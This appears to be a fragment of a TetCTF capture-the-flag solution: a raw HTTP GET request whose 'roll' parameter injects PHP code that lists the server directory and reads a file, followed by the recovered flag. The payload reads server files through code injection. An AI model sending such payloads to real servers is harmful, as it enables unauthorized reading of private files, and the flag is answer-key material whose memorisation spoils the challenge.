Payload:
```
GET /?roll=readfile(next(array_reverse(scandir(__dir__)))) HTTP/1.1
Host: 192.46.227.32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
Flag: `TetCTF{lixi_50k_<3_vina_*100*25926415724382#}`